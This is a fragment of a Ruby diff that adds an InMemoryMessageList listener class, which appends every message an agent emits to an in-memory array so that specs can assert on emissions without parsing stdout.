+ # Recording listener that appends every {Message} the agent emits
7
+ # to an in-memory list. Used by specs to assert on emissions
8
+ # without parsing stdout, and as the rough shape a future
9
+ # structured consumer (web sink, telemetry pipe) would take.
10
+ class InMemoryMessageList < MessageListener
11
+ # @return [Array<Agent::Message>] every message the listener has
12
+ # seen, in order; never nil
13
+ attr_reader :events
14
+
15
+ def initialize
16
+ super
17
+ @events = []
18
+ end
19
+
20
+ # @param message [Agent::Message]
21
+ # @return [void]
22
+ def on_message(message)
23
+ @events << message
24
+ end
25
+
26
+ # @return [String] short label for {Agent#to_s}
27
+ def to_s
28
+ 'InMemoryMessageList'
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end